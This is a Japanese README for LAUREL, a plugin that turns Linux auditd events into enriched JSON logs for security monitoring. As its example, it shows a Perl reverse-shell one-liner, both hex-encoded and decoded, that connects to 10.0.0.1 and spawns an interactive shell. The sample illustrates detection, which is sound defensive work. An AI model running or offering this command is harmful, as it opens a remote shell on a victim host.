Linux Audit – 使いやすく、堅牢で、簡単なログ記録

LAUREL は、auditd(8) 用のイベント後処理プラグインであり、現代的なセキュリティ監視セットアップに適した、有用でリッチな JSON ベースの監査ログを生成します。

最新安定版リリースに対応するドキュメントはこちらにあります。

なぜ？

TLDR: このような監査イベントの代わりに…

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

…LAUREL は、攻撃者/ペネトレーションテスター/レッドチームが仕掛けようとしている混乱が一目でわかる JSON ログに変換します:

{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}

これは、LAUREL が監査イベントが生成されるホスト上で動作するため、ソースで行われます。イベントは親プロセス (ppid) に関する有用な情報で強化されます:

"PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631}

ドキュメント

設定と運用の詳細は、laurel(8) マニュアルページに記載されています。 ログ形式とその根拠の詳細は、laurel-about(7) マニュアルページにあります。laurel-audit-rules(7) のページには、攻撃者の戦術を検出するのに有用な監査ルールの設定に関するアドバイスと例が含まれています。

_LAUREL インストール手順 には、LAUREL をソースからビルドし、インストールおよび設定する方法が記載されています。

私たちは、既存のプロジェクトや製品の機能セットやパフォーマンス特性に満足できなかったため、LAUREL を開発しました。詳細はパフォーマンスドキュメントを参照してください。

関連項目

• ansible-auditd-laurel、auditd + laurel をデプロイするための Ansible ロール（@0xFustang / CERT-EU 作）

ライセンス

GNU General Public License, version 3

作者

• Hilko Bengen <[email protected]>
• Sergej Schmidt <[email protected]>

ロゴは Birgit Meyer <[email protected]> によって作成されました。